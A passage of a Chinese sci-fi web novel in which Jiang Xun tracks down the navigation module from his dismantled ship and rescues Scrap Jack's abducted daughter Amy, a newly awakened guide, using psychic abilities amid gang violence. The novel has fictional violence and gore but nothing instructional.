“我还能骗你不成！听说是前阵子给那帮‘鬣狗’通风报信，从‘秃鹫’手里抢了什么很值钱的东西，文森现场就直接奖励了他一大笔钱！” “真的吗？有多少钱啊？” “听说，至少这个数！”说话的人一脸神秘地举起一只手掌，张开。 座下的人纷纷惊讶地问出口：“五十？” 享受够了众人惊异的目光，说话的人这才一拍大腿：“五十算什么！是五百！” 话音落下，堂下炸起，众人纷纷开始说着各种猜测。 江寻听到了有用的信息，马上貌似不经意地引导了一下话题：“他们抢了什么东西啊？只是通风报信一下就能赚这么多？那这东西肯定特别值钱啊！” 众人一听，醒悟过来，马上追问起来。 一开始说话的人此时却有些卡壳，他也只是从别人嘴里听了一手，哪里能知道得那么详细，只得含含糊糊地说：“你们这群土包子！难道告诉你们了，你们就知道那东西值多少钱了吗？反正是个大家伙，很值钱！” “切~！我看你根本就不知道嘛！” 另外一个坐在堂下的精瘦小伙子道：“我知道是什么！是一艘废弃的小型飞船！虽然是废弃的，但上面还有好多完好的部件，听说可值钱了！文森当天就把那大家伙直接拆了，除了几个贵重的部件之外，全都卖给了二手机械店。当时接到通知赶来的废铁杰克都傻眼了！那么大一艘飞船，根本就不是他一家能吃下的东西！又喊了好几个店主来，才把那整个飞船彻底瓜分干净了！” “真的假的？！不可能吧？一艘飞船，这要多少钱啊！这么大的事，文森敢私自动手？” 那精瘦小伙子马上神神秘秘地嘘了一声：“我只告诉你们，你们可别往外面说啊！听说是谢堂主点的头，但是没给上面的斯科特老大说！卖来的钱都让他们吞了，压根就没交上去！” …… 没错了，一定是自己的那艘飞船。 没想到还有意外收获，他们居然把这笔钱私自昧下来了。 江寻眯了眯眼，把这个信息记下。 不过重点还在另一边，他就猜到对方一定会把他的飞船分拆卖掉，只要他直接去找这些机械店收购，就可以完美绕开血狼帮，拿到他需要的导航模块了。 废铁杰克。 江寻暗自记下这个名字。 第二天一大早，就一路打听着，走到了离他们诊所相隔了三个街区的城市另一头，却被机械店门口的一片狼藉阻住。 还算体面的机械店，如今从店门牌匾到门口的地面，都被砸得稀烂。地面上，残垣间，泼洒着一蓬蓬黑红污血，间或还能看到零散掉落在地上的人体组织。 门厅的喇叭里，重复着变了调的广告语，吱吱呀呀，充满荒诞。 周围远远地围着一圈围观的人，对着机械店指指点点，窃窃私语。 而洞开的门庭里，正传来一阵一阵不住的凄惨哀嚎声—— 作者有话说：每天都在睡觉与写文之间艰难抉择[化了] 第76章 江寻眉头一皱， 他本打算悄无声息地过来，打听清楚导航模块的下落，结果看这样子， 又出了变故。 不急着上前去， 江寻低调地混进了周围看热闹的人群中， 一边听着众人的议论声，一边打听这里出了什么事。 “哎呀，你们是没看见！刚才那一阵枪林弹雨， 一下子打死了好多人！可吓死我了！自由城里居然还有人敢对血狼帮亮枪口啊？那群黑衣人他们是谁？他们哪儿来的那么多武器啊？” “不知道啊！不过那个打头的带队人最近似乎就在这附近住着呢， 之前他好几次路过我家店门口，但是从来没见他和谁说过话。外表看着就是个普普通通的小职员的样子，谁知道他杀起人来，眼睛都不眨的啊！” “可怜的老杰克，可怜的小艾米！老杰克前些天才喝得醉醺醺地给我说，他赚到了一大笔钱， 说不定可以带着艾米搬去更好的街区了呢！谁知道今天就出了这事！” “但是那些人他们为什么没抢钱， 只单单抢走了小艾米呀？” “嘘！听说呀， 小艾米好像觉醒了向导潜能！” “什么？！老杰克一家从来都没出过哨兵向导啊？怎么小艾米会突然觉醒的？” “这我就不知道了，但是听刚才血狼帮带来的那个人， 是这么说的！” …… 江寻隐在人堆里，得到了自己想要的消息。 看着被周围的邻居叫来的医护人员， 抬着担架从屋子里抬出的男人，再看看已经一片狼藉的机械店， 江寻内心艰难地抉择了一下，终于还是叹了口气，跟了上去。 打了辆车子一路跟在救护车后面到了医院，江寻继续跟着那个已然嗓音嘶哑的男人， 一路接受手术治疗，直至医生把他送入了病房之中，挂上了吊瓶。 对护士说了下自己是男人的邻居，也不知是这医院管理本就宽松，还是看在江寻英俊的相貌上，护士没有多问，便把他放了进去。 失血过多的中年男人，即使经过了抢救，面色依然惨白，在麻药的作用下没有醒来。江寻此时也不急了，用临出门时夏因给的通讯器给他留了个言，便窝在病床前，静静等待起来。 男人也不知是伤势太重还是精神上受到的打击太大，一直到药水都挂完了依然没有醒来。 看了看时间，江寻干脆再次给夏因留了个言之后，拼起两把椅子，合身往上一躺，一边休息一边等待了起来。 直至夜色降临，走廊里都安静了下来，江寻才在一阵不明显的动静中睁开了眼睛。 一睁开眼睛，江寻马上就敏锐地坐了起来，抬手打开了病床前头的小灯，看向躺在床上的男人。 男人刚才还只是轻轻呻|吟了一声，等床头的灯光一亮，布满皱纹的眼睛这才转动了一下，慢慢睁了开来。 一睁开眼睛便看到一个凑近的陌生男人，明显让老杰克吓了一跳，心跳监测仪上马上显示出了他惊慌的心跳声。 江寻忙举起双手，向他展示自己的友善。 看到江寻的动作，老杰克这才慢慢冷静了下来，看了看空无一人的房间，又紧张地看向江寻，声音嘶哑地问道： “你是谁？你要做什么？” “你别害怕，我对你没有敌意，我只是想向你买一样东西，结果恰好撞上了你家里出事，便跟过来了。” 说着，江寻解开外套，转了一圈给老杰克展示他身上并没有带武器。 看到江寻善意的动作，老杰克这才相信了他的话，提起的心放松了一些。 可这一放松下来，马上就让他想起了此刻下落不明，生死不知的女儿，眼睛迅速湿润了起来，哽咽开口： “对不起先生，我现在实在没有心情卖东西。” 江寻丝毫也没有因为他的拒绝动摇，把外套挂在手臂上，缓缓坐了下来。 “也许你可以给我说说出了什么事？也许我能帮到你一些？” 许是被江寻平静的神态说服，老杰克也慢慢平静了下来，迟疑地看了眼江寻，不知道该不该对他说。 “你也没有更好的选择了不是吗？再差也不过如此了。” 江寻说道。 老杰克闻言，苦涩一笑，终于被江寻说服，开始了讲述。 “事情要从昨天晚上说起，昨天，天刚刚黑下来，我正准备闭店的时候，我们店里突然闯进来了一个受伤的哨兵。他说他正在被追杀，实在无路可走了，这才迫不得已闯了进来，希望我们能收留他一晚上，他明天就走。” “我本来是打算拒绝的，可我的女儿小艾米，看他一身的伤，便心软让他留下了。还给他准备了饭食，想让他吃饱了再好好休息。” “可谁知……” 说到这里，老杰克的神情悲愤起来。 “谁知道，在艾米刚刚端着饭菜靠近他的时候，突然就被他抓住了手臂。然后，我就觉得有一股力量把我推了开来，他们两人中间突地生出了一道小型的龙卷，把他们一起裹了进去，我的小艾米突然就这么开始觉醒了！” “我当时吓了一跳，想上去拉开我的女儿，却根本近不了身，就眼看着那个哨兵神智变得不正常起来，抱着我的女儿，咬了她还非礼了她，一直等到她觉醒完毕晕了过去也没松开。” “然后，外面就突然有一队荷枪实弹的黑衣人出现，把那个哨兵和我的女儿一起强行带走了！” “不过他们刚走到门口时，又跟不知道怎么知道了消息的血狼帮迎头碰上了，在我的店门口僵持战斗了很久，两边都死了不少人。” “可那队黑衣人准备太充分，行动太果断了，他们战斗起来好像根本不怕死，携带的装备也更好，虽然他们人数少，但最后还是他们占了上风，把我的女儿带走了。” 老杰克一边说着，一边流出了泪来，眼睁睁看着自己唯一的亲人在眼前被伤害被抢走，让他内心充满了煎熬。 觉醒了？ 老杰克的讲述让江寻一惊，脑子迅速运转了起来。 听这个描述，这个女孩是被故意刺激到，觉醒成为向导了吗？ 那这样说来，这个受伤的哨兵就不无辜了，和可能与第一波前来的那队黑衣人是一伙的。 倒是血狼帮又是从哪得来的消息，可以这么快就赶到呢？ 思索了片刻，江寻暂时停下来对于原因的猜测。 现在事情已经发生，当务之急是赶快找到失踪者的下落。 “你确定你的女儿是被那队黑衣人带走的吗？你记下他们的车牌号了吗？” “我确定！而且我女儿被他们带走的时候，也没有和那个该死的哨兵分开，他们是一起被带走的！” “求求你！帮帮我！我不知道能去找谁了！”老杰克情绪又激动了起来，心跳监测仪开始发出警报声响。 “安静！这附近可能还有血狼帮的人蹲守，你是想把他们招来吗？” 老杰克连忙捂住了嘴巴，眼带希冀地看向江寻。 叹了口气，江寻无奈。 本来他是想绕开血狼帮，前来买下导航模块就走， 结果现在不仅又和血狼帮纠缠在了一起，里面还又多了一个未知的势力。 想了片刻，江寻最后再和自己赌一把。 “前阵子血狼帮拆分卖给你的飞船零件你还留着吗？我需要里面的导航系统，它在你这里吗？” 老杰克一听，脑子马上检索起来，飞快想起了那个不起眼的金属方块。 “在的在的，那个模块挺贵的又不好卖，其他的店主都不愿意要，我就把它留下了。你找我就是为了那个吗？只要你能帮我救出我的女儿，我就把那个模块送给你！” 听了这话，江寻也不知是该高兴还是该苦笑。 高兴的是，他终于能获得小树留下的地址了。苦恼的是，这回的麻烦，他恐怕是必须要接手了。 叹了口气，江寻的神色迅速变得认真了起来。 “好吧，这个事我接下来了。现在，告诉我你知道的尽可能多的信息。那辆车去了哪个方向？车子号码是多少？外表有什么特征？” “还有你的女儿艾米，你手上有她的照片吗？” 老杰克精神一振：“谢谢你！那辆车是一辆黑色的商务车，号码我没有完全看清，但是我看到开头两个字母是‘LD’，他们把那个哨兵和我的女儿一起抓上了车，就往北面跑了！” “还有这个！”老杰克颤抖着，从怀里摸出一张彩色的小照片。里面的女孩笑得腼腆羞涩，看着只有十六七岁大小，皮肤不太白，但是笑容非常甜美，一边脸颊上还有一个小小的酒窝。 江寻接过照片，仔细端详一下，便装进了口袋。 嘱咐道：“你好好养伤，最好可以尽快出院，把我要的东西和你的家当整理出来。” “现在血狼帮也知道了这件事，就算我把你的女儿救了出来，若是不想你的女儿被送进兰台，你们就不能再留在这里了。” “你出院以后尽快把你的店处理好，但是要注意不要走漏消息。之后去这个地址等我，”江寻迅速在纸上写下夏因诊所的地址，撕下递给了老杰克，“我若是能回来，就会第一时间把你的女儿送过去，你们到时候就直接动身离开这里。” 顿了顿，江寻又接着道：“若是我回不来，请你到时候把我的事告诉这里的主人，如果他愿意的话，就拜托你带他离开这里吧。”—— 作者有话说：这就是死线的威力[化了]12小时写一章的人，可以2小时再写一章 第77章 “是的老大， 城门已经封锁好了，正在排查来往的车辆……是！您放心！绝对一个苍蝇腿都跑不出去！” 江寻贴靠在楼房拐角处，听着从旁边街道上远远传来的通话声。 这里是北城正门口， 此时， 原本宽阔的车道被许多风格各异的车辆横七竖八地堵住， 只留了一个出入口出来，十几个端着步枪的血狼帮成员，正控制着出入口， 对来往的车辆一辆辆进行排查。 血狼帮的动作还挺快的， 居然这么大阵仗，就为了小艾米一个人？莫非她是个高级潜力向导？还是与哪个重要人物的匹配度很高？他们是怎么知道的？ 江寻脑海中飞速转过这些念头，危机感在心中再次提升。 再看一眼被出城的车辆挤得密密麻麻的路口，悄无声息地转身往回跑去。 血狼帮摆开了这么大的阵势找人，那就说明对方还没有离开自由城。但是城门附近这么大的阵仗，对方也不可能看不到， 现在肯定已经暂时隐藏起来了。 应该不可能躲藏在内城区， 血狼帮在内城区中势力更大， 更何况那边还有城主府与天启分部的人手存在，往内城里躲藏， 死路一条。 最可能的就是躲藏在城门附近，复杂的建筑群中， 随时伺机逃跑。 附近的地形在江寻脑海中展开。 北城区这边曾经是自由城前期众多工厂的落脚点，但是随着城中心的迁移， 大部分工厂已经随着城市的规划转移到了城市东南部。 在这里遗留下来了大量废弃的工厂建筑。 后来，这里又变成了城中许多无家可归者、罪犯的藏身之处，在沟沟壑壑之间搭起了大量的违规建筑与窝棚。 这样复杂的地形，十分利于藏匿， 不是熟悉地形的当地人，只是走在其中都很容易迷失方向，更不要说从这些复杂的建筑中找出某个人来。 江寻顺着曲折的小道，在各色歪七扭八的建筑与窝棚小巷中穿梭搜索，每搜索过一片区域，就在脑海中的地图上划掉一块。 时间慢慢过去，直至地图上已经被划掉了三分之二的区域时，他终于在一条狭窄、堆满废弃机械和管道的巷子里，发现了被遗弃在这里的一辆黑色汽车。 终于发现的目标，让江寻精神一振，马上快步走近。 车子的损伤十分严重。 前门脸上有着很严重的撞击痕迹，前引擎盖都翻了起来。 一半车牌被污渍覆盖住，但露出来的另一半上，仍能看清打头的“LD”两个字母。 车身一侧，布满了大大小小的弹孔。车内靠近车门一侧的座位上，还翻躺着两具仍然在潺潺流淌出鲜血的尸体。 车内狼藉一片，布满了鲜血、弹壳、碎破璃，另一侧较为完好的一边车门打开着，地上有一连串流淌着的血迹从车内延伸出来，直至车子后方的巷道里。 看来对方在逃离过程中，又与血狼帮有过冲突，还损失了两个人。 打量一下两具倒伏着的尸体，江寻低声道歉一声，拖下其中一具，手下快速地褪下了对方的衣服与身上的装备，换在了自己身上。 然后把枪械往后背一甩，跟着一路留下的血迹追了上去。 血迹延伸到一片残垣断瓦前失去了痕迹，不知是对方发现了自己遗留下来的漏洞还是特意的引诱。 江寻没有追到近前试探陷阱，他有更好的方法找人。 对方不久前才从这里经过，还失去了交通工具，带着晕过去的小艾米和一个疑似失去了控制的受伤哨兵，速度必定没有他快，走不了多远。 江寻凝聚起精神，体内汩汩流淌着的精神力一动，被他释放了出去。 回忆着当时在小树的精神空间里净化时的状态，精神力被稀释再稀释，在身周形成一个不断扩大的圆，以他为中心缓缓蔓延出去。 随着精神力的蔓延，被它覆盖住的事物开始在江寻脑海的图像中，留下属于他们的影子。 直至精神力圈的范围扩大到几百米处，一道周身喷涌着狂躁精神力的人形影像出现在了他的脑海中，江寻终于眼眸一定。 找到了！ 那个地方是……一座废弃的维修站！ * 暴露在空气中的金属管道，在头顶巨大的主星光辉下，反射出冰冷的光。一道不知名的浑浊液体，顺着管道向下流淌，从断裂的管道破损处一滴一滴在地上开出浑浊的小花。 江寻紧贴着冰冷的断垣，让阴影吞噬掉他的大半身形。 闭上眼睛，精神力圈细细密密地发散出去，如同最精密的雷达，无声无息地扫过前方那座半塌的维修站。 维修站侧后方一座倾塌了一半的小院出现在他的感应之中。 精神力再次聚集，仔细扫过这座不起眼的小院，几道带着不同强弱精神波动的身影，在他的脑海图像中渐渐成型。 其中最醒目的一道沸腾波动，大概来源于情报中提到的那个受伤又刺激得艾米进入受激觉醒的哨兵。 一个比他更小，身周的波动更加细微的人形，一动不动地倒伏在哨兵身边不远处，看起来就是艾米了。 两个人形出现在小院正中的平房之中。 江寻细细感应了一下，艾米身上的精神波动虽然微弱，但还算稳定，看起来暂时没有生命危险。 感应圈顺着平房向外探去，于是，三个分据在院子的三面围墙之下的人影，出现在了江寻脑海中的地图上。 其中，位于正中院墙后的那一道身影，身上的精神波动明显较强，看样子也是个哨兵。而另外两道，波动与普通人无异。 在心中暗暗记下这些信息，江寻像一缕烟，悄无声息地向后退开。速度飞快地返身，向着来时的路奔去。 临近城门的车道上，拥堵的车辆越来越多，旁边挨个排查着的血狼帮成员们情绪也急躁了许多。 一队血狼帮的巡逻人员正骂骂咧咧地踢着路边的废铁，嘴里向着站在几人中间的大哥抱怨道： “老大，咱们要找到什么时候啊？要是那几个人躲在城里不出来了怎么办？这么下去不行啊！” “是啊是啊，老大，他们搜索队的倒是好，一句话就让我们巡逻队过来卖苦力，在我们的地盘上一点儿也不把我们放在眼里啊！” 几个年轻的血狼帮小弟已经在枯燥的工作下失去了耐心，对着带队的大哥抱怨个不停。 此时，就在众人毫无防备的时候，从不远处的小巷里，突然响起一阵枪声。 众人的注意力被吸引，刚扭头看过去，便见到一个一身黑色的身影，在那巷口中一闪即逝，消失在了巷子深处。 “咦！那……那是不是上面让我们找的那队人啊？” 一个染了一头鲜红头发的精神小弟还在迷迷糊糊地和身边的人讨论，领头的大哥已经拨通了通讯器。 “是的，在北门旁边的巷子里发现了目标的踪迹……是！我们马上派人包围这片区域……好的，明白！” 说完，一巴掌拍上身边小弟的后脑勺，大声下令： “四小队继续在这里封锁，一二三小队！跟我走！” 见自己已经成功吸引到了血狼帮，让他们把目光投向了这片区域，江寻马不停蹄，又重新回到了废弃维修站附近，一路行来，还在路上留下了足够有指向性的痕迹。 快速把身上的黑衣换下，江寻绕到维修站背对着北城门的那面。一把撕下自己左臂的衣袖，指尖沾上混合了机油和劣质颜料的污浊，在上臂处飞快地涂抹起来。 不一会儿，一个粗糙狰狞、边缘模糊的红色狼头图案便赫然出现在了他的手臂上。 上下打量一下，在昏暗的光线下，足够以假乱真。 一切准备就绪，江寻凝目看向小院正门口处的人影，体内精神力一动，从后方悄无声息地侵入了守卫者的后脑，从夏因那里学到的一个新的B级向导技能当即发动——初级幻象！ 守在小院门口的正是这支隐秘行动小队的首领剃刀，身为C级哨兵，为了完成上面下达的任务，他无数次带队往来于各个星球，从各个混乱地带中搜集有潜力的哨兵向导带回去。 身边的队员下属来来往往，他早已习惯，根本不会为小队的损失动摇上一分。像如今这样的情况他也遇到过许多次，只要他能在最后把目标人物带回去，损失再多的队员，上面也丝毫不会在意。 这一次也是如此，他只想潜伏在城门最近处，等待当地的势力在大规模的搜索中出现倦怠漏洞，好让他能够带着身后的两个人离开。 此刻，他沉默地半蹲在院门边，一边放松着身体，一边精神力高度凝聚着观察着四周。 突然，他感觉到眼角余光中似乎闪过了什么。 猛然扭头向着维修站门口那扇扭曲变形的金属大门看去，只见大门背后的空气，似乎微微扭曲了一下，下一刻，一个模糊的、肩头印着一只硕大红色狼头的身影在拐角处一闪而逝。 被发现了！ 剃刀身子猛然半蹲而起，一声指令发出。身侧埋伏在另外两面院墙下的身影，一听到指令，同时看向了剃刀指示的方向。 院内瞬间响起一阵武器保险解除的“咔哒”声，以及压低的、金属摩擦般的呼喝声。 就是现在！ 当院中三人的注意力同时被短暂吸引在维修站门口时，潜藏在小院背后的江寻，身形向上一窜，一掌按在身后的墙壁上，整个人迅速攀升起来，如壁虎般一举攀上了墙壁顶端破损的窗口。 足以媲美D级哨兵的军事素养，让他的动作精准而迅捷，没有发出一丝多余的声响。 趴在窗口上向内一看，室内横七竖八地陈列着许多被废弃在这里的大型设备与垃圾，而房间正中靠近门口的地方，正是他在精神力扫描时看到过的那个哨兵与照片上的那个女孩！ 找到了！ 江寻头一低，身体往前一窜，整个身子便顺着破损的窗口钻了进去，顺着墙壁无声滑落，往角落里的一堆大型设备后一钻，江寻便把自己融入了房间中浓重的阴影里。 顺着物件间的空隙看过去，江寻一眼便看到了他的目标——那个受伤的哨兵。 直到此刻亲眼用眼睛看到，江寻才确认了他的状态。 老杰克描述得还是保守了，这哪里是神智有点不正常可以形容的？ 只见那哨兵双手双脚都被粗大的锁扣锁住，嘴角带血，嘴巴被放在嘴里的止咬器大大撑开，喉咙里不住发出野兽般的低吼，眼睛通红一片。眼中清明与混沌不停闪烁，争夺着身体的控制权，肌肉在这样的争夺下剧烈贲张起来。 眼看着院外的三人，已经感到了不对，迅速地向着这边退了过来，江寻动了！ 身影从阴影中暴射而出，快得只在空气中留下一道残影。爆发力在这一刻毫无保留地释放而出，目标直指倒在地上昏迷不醒的艾米！ 同时，右手虚握！又一个新的B级向导技能被释放而出——精神触手！ 只见空气中，凭空而生出数根无形的精神触须，这些触须一出现在空气中，就在下一瞬间猛地向内一缩缠缚为一体。 下一刻，一道近乎透明的、带着微弱辉光的精神触手闪电般甩出！目标——哨兵手腕脚踝处的金属卡扣！ “啪嚓！”无形的巨力之下，金属的脆响在死寂的房间内格外刺耳！金属锁扣在触手的甩击下应声碎裂！ 锁扣碎片坠地的瞬间，江寻再次将触手的存在状态转换过去，刚刚扭断了金属锁扣的触手一下变得透明虚幻起来，向着上方一翘，瞬间刺入已经濒临疯狂的哨兵的后脑！ “啊——！” 精神遭受到重创的哨兵，在束缚解除的那刻，如同被点燃的火药桶，积蓄的暴怒和痛苦瞬间爆炸！猩红的双眼完全失去了理智，只剩下毁灭一切的本能！ 江寻没有一丝停顿，从哨兵脚下掠走艾米的刹那间，一道浅层精神链接被强行建立起来，一道强烈的意志化作一枚烧红的烙铁，狠狠烙印在了哨兵脑海深处——杀了面前的三个人！ 下一刻，哨兵的身形猛然一个抖动，肌肉骨骼扭曲着变形，原地现出一只恐怖巨兽！ “吼——！” 巨兽一声怒吼，庞大的身躯带着腥风，像一列失控的火车，直扑向从院中折返而回的三人。 “血狼帮！”剃刀远远便从窗外看到了一道臂上印着鲜明狼头纹身的身影出现，恨恨大吼一声。 带着两个队员刚刚转身奔至房间门口，便见兔起鹘落之间，灭顶危机已至，目眦欲裂地狂吼一声“开火！”，下一刻，三人惊怒的咆哮便被淹没在巨兽震耳欲聋的嘶吼声中。 达成了目标，江寻头也没回，一把抄起地上昏迷着的艾米，转身就冲向后方的窗口！ 身后，地狱降临。 狂暴巨兽恐怖的咆哮声、武器高频的嗡鸣与撕裂空气的尖啸声、骨头碎裂的闷响、人类濒死的惨嚎之声，瞬间交织成一片残酷的死亡乐章！ 狭小的房间内，血液残肢喷洒，化为一座恐怖的血肉磨坊！ 江寻丝毫也不敢停留，抱着艾米跃出窗口，落地时顺势向前一个翻滚卸去力道。 与此同时，维修站外不远处，传来阵阵嘈杂的人声。 正是时候！ 就在江寻的脚掌踏上地面的瞬间，体内剩余的精神力一动，再次爆发开来！ 追踪而来的血狼帮精锐小队，只觉得眼前一花，就见维修站那破败的大门后面，空气似乎扭曲了一下，猛然出现一个穿着染血黑衣、端着能量步枪的模糊身影。 “在那！开火！给老子轰碎他们！” 为首的小头目一见到那身影，便怒火中烧起来，几步冲到维修站门口，狂吼着向着刚才看到的方向扣动了扳机！ 下一刻，重武器的轰鸣声猛然炸响，瞬间将那个虚幻身影连同门后的一大片区域彻底淹没！ 剃刀目眦欲裂地发现，连身后也被一片枪林弹雨席卷。 绝望地狂吼一声，使劲把手中的武器往面前大张着咬合过来的巨口中一插，下一刻，身形同样不顾后果地涨大起来。 接踵而至的血狼帮精锐小队，在恐惧与仇恨中，无数道火舌光弹再次泼洒而出。 另一头，江寻抱着艾米，身影如鬼魅般在堆积如山的废弃机械和扭曲管道间穿梭。 手臂上那粗糙的狼头纹身，早已在奔跑间，被汗水和尘土冲刷得模糊不清。 身后的维修站里传来的巨大爆炸和嘶吼声，成了他撤退的最佳掩护。 他脚步不停，压低身子，顺着曲折隐蔽的小道迅速向着内城跑去，直到将那片血腥的修罗场彻底甩在身后。 * 今日，夏因的诊所依然没有开门。 不过，此时所有的视线都凝注在城中不时爆发的枪斗中的人们，也顾不上去管他这样一个小虾米。 夏因站在窗边，手指紧紧抓着窗棂，心脏随着城内传来的阵阵轰鸣声一紧一缩。 身后，风尘仆仆的老杰克，皱着愁苦的双眼，脚下斜靠着一个巨大的背包。 “还是没有消息吗？” 老杰克声音有些颤抖，这一天一夜之内，发生的事情太多，让他自诩的沉着冷静全都轰然倒塌。 想抽一支烟冷静一下，捏在手里的火柴却颤抖得半天凑不到烟卷前。 夏因低头看看手腕上一片安静的通讯器，气怒地猛地把它扯了下来一把摔了出去。 “他妈的！他明明刚刚答应过我不轻举妄动的！他以为他是谁？什么事都敢去做！” “早知道我就不该留下他！死在我手里好歹还能有点用！” 明明在骂着人，夏因的表情却像是快要哭了出来。 大步在原地踱了几个来回，又小跑着捡起摔在地上的通讯器，紧紧捏在了手里。 太阳已经开始西沉下去，老杰克站起身来，望着夕阳洒下一片温暖的余晖，心中却愈见冰凉。 嘴唇嗫嚅一下，面上眼见着浮上了一层灰黑，终于开口： “快要来不及了，我找到的星舰今晚就要离港，这是最后的机会了，夏医生，听江先生的话，和我离开吧！” 夏因面色一变，声音都尖锐了起来： “我才不走！我为什么要走！我在这过得好得很！谁要他擅自给我安排？！” 老杰克面色更苦：“夏医生，若是江先生被抓，血狼帮不会放过你的！而且，最近自由城的气氛越来越古怪了！前往外域的飞船路线也停了好多，再不走的话，可能真的就来不及了！” 夏因咬了咬唇，听到血狼帮，面上也不禁闪过一分惊惶。 老杰克一见，再次开口劝道：“夏医生，江先生为了救我的女儿一去不返，临走时，他只提了这么一个要求，我一定会帮他做到的！跟我一起离开吧！” 一听到这里，夏因的眼眸也湿润了起来，一直以来，坚持着的目标也动摇了起来，想了许久，启唇正要说话，身边的窗户上，忽然传来了敲击声。 夏因一楞，猛然扭头看去，一个裹在破烂斗篷下的身影，出现在了诊所的窗下。 与斗篷之下的那双眼睛对视上的那一刻，夏因眼中的泪光一下子闪亮了起来，面上也现出狂喜，正要出声，又猛地捂住了嘴巴。 眼睛警惕地看了看四周，快走几步来到大门前，开了个缝。 下一刻，门缝无声无息地一张一合，那个覆着斗篷的身影，出现在了两人面前。 “江寻！” 见到心心念念的人出现在了自己面前，夏因终于没忍住，大叫一声猛地扑了上去。 经过了一路的奔驰，已经有些脱力的江寻，被他这一下，一下子扑得倒退了两步，倒进了沙发里。 听着怀里的哭泣声，江寻只得叹了口气，安抚地抚上他的头顶。 同时，对着身边激动地看向他的老杰克，掀开盖在左手上的斗篷，把环在手臂中的女孩子亮了出来，微笑地说道： “幸不辱命！” * 小声地与老杰克简略地讲了讲在外间看到的情势，江寻终于感觉到怀里的哭声渐歇了下去。 可夏因还是一动不动地埋在他怀里，不愿意抬头。 江寻大概也能想到是因为什么，也没勉强，就着这个别扭的姿势与老杰克进行着最后的对话： “好了，不用再谢我了，我也是为了报酬不是吗？”举了举手中经历了一番波折终于拿到的导航模组，江寻宽慰道。 “这一个小东西，哪里比得上您的大恩！您救了艾米，就是救了我们全家，我实在不知该怎么感谢您才好！” 老杰克抱着失而复得的珍宝，激动得两颊颤抖。 “好了，时间紧迫，多余的话就不用再说了，你们快走吧！等血狼帮回过神来，你们恐怕就走不了了！艾米觉醒了向导天赋，你要赶快把她送到塔中去，只有那里才能真正保护好她！” 江寻看了看已经暗下来的天色，对老杰克说道。 老杰克一叠声地感谢着，把艾米紧紧绑到背后，用宽大的斗篷遮住，走至门口，再次回过了头来。 “江先生，如果可以的话，你们最好也尽快离开这片星域吧！我的朋友告诉我，最近这里的形势真的非常不好！” “自从之前联盟与星盗团在域外大战，联盟败退之后，星盗团对附近一片星域的管束越发紧张了。如今已经有好多条航线都被封锁了。恐怕，不久之后，这里就要再次沦为战场了。再不走的话，到时候等航道封锁，你们可能就要被彻底困在这里了！” 江寻认真点了点头，道了声谢，把这件事记入心底，目送着两人越走越远—— 作者有话说：江江，为了让你风光，我可太难了！[化了] 第78章 “咔哒！” 启明星的辉光一如既往地明亮而温柔， 平等地照耀着所有的人类。 挤挤挨挨的小街道上，大半的商店还没亮起灯光，被夹在其中的半旧小诊所， 首先大门一响， “吱呀”一声推了开来， 从中走出一个高高大大的男人来。 江寻依然在往常的时间里准时起床，做了早餐便开始准备起开店的流程来，丝毫也看不出昨天曾经经历过怎样的生死搏杀。 把门口的一小片区域打扫干净， 又把开始营业的指示牌挂上了大门， 江寻这才抬头看着头顶上明亮的启明星，伸了个大大的懒腰。 已经在自由城住了这么多天了，他仍对这里奇特的天象惊奇不已。 主星表面上，几点亮眼的明光格外璀璨，回忆起夏因曾经告诉过他的话语，江寻努力在这些亮光中， 分辨着那个属于天启集团总部的亮点。 思维不由自主地发散， 不禁想到， 此时此刻，在启明星上， 会不会也有某个人如他一样，抬头一边看着头顶上的这颗卫星， 一边想象着这里的模样呢？ 里间，有乒铃乓啷的声音响起， 隐隐还有人声不住呼唤着他的名字。 呼唤声渐响，嘈杂的声音，把江寻的心绪由天际又拉回了人间。 “我在这儿呢！” 摇了摇头，江寻大声应了一声， 转身回了屋子里。 “你干嘛呢！喊你半天才答应！” 屋子里，夏因顶着一头打着小卷睡得乱糟糟的头发，双手叉腰站在卧室门口，不满地瞪向他。 “这不是应你了吗？怎么了这是？一大早就喊我？” 江寻拍了拍手，把手上的打扫工具收拾一下放在了门后，一边叉着手一边向盥洗室走。 夏因也不说喊他做什么，一个转身就巴巴地跟了上去，左探探头右戳戳他的手，嘴上没话找话地叭叭说个不停。 江寻也不嫌吵，他说一句就回一句，直到把早餐放到了夏因的面前，这才让他闭上了嘴巴。 许是昨天的风波被太多人看到了，今天一大早，诊所里就来了许多的人。好多人根本也不看病，往门厅里一坐，就聚成一圈，叽叽喳喳地谈论起了昨天的事。 江寻也不在意，好脾气地给每个人都倒上了水，手上一边做着正事，耳朵也没有落下一点消息。 “哎！昨天到底是出了什么事啊？我们门前一整条街都被血狼帮派来的人封了一下午，搞得我一天都没敢出门！” “我还听到了好多枪声呢！不会是血狼帮和城主府终于打起来了吧？” 两个大妈面色有些害怕，嘀嘀咕咕地小声说着话。 旁边一个头发都快要掉光了的老头，一听到这话，马上大声嚷嚷了起来：“你们的消息也太不灵通了！有天启集团在，城主府怎么可能和血狼帮直接打到明面上啊？昨天的人可不是城主府那头的！” “啊？那还有谁敢和血狼帮在咱们自由城里打成这样啊？” “我昨天听到他们封路的人说了一嘴，是找一帮穿了一身黑衣服的暴徒来着，你说好不好笑？他们血狼帮还找暴徒？也不知道对方是怎么惹到了他们，搞了这么大阵仗出来！” 一见几人说来说去，都没有一个人说到重点上，老头面上马上带上了三分得意：“你们怎么什么都不知道啊？” 众人一听他似乎了解什么内幕的样子，纷纷鼓动着他快讲。 见众人都一脸求知若渴的样子，老头这才说了起来： “要说昨天的事啊，要先从这原因说起，你们可知道昨天这两家是为什么打起来的？” “不知道啊！为什么啊？” “西街那边的‘废铁杰克’你们知道吗？” “‘废铁杰克’？有点耳熟啊……” “嗨，不就是在西街那边开了一家二手机械维修店的老杰克吗？你们这些年轻人不知道！老杰克的店可是已经在这自由城里开了二十几年了，从我年轻的时候他就在了！”一个中年男人忙插嘴道。 “对的，就是他！”老头一拍大腿喊道：“这老杰克呀，婆娘死得早，只给他留了个漂亮女儿，就是小艾米！你们知道吧？她可是我们从小看着长大的！” 周围不少人纷纷符合。 “也是祖坟上冒青烟了！这小艾米呀，居然觉醒成向导了！听说那潜力等级呀，还不低呢！” “哇！这运气也太好了吧！” “不是吧！就老杰克那样子，还能生出个觉醒向导的漂亮女儿啊？我家那个臭小子怎么就没给我觉醒呢，哎！” “不低是有多高啊？能比咱们城主和血狼帮的斯科特老大他们还高吗？有B级吗？” “你是不是傻！向导能和哨兵比啊！就咱们这破地方，能出个C级就烧高香了！” 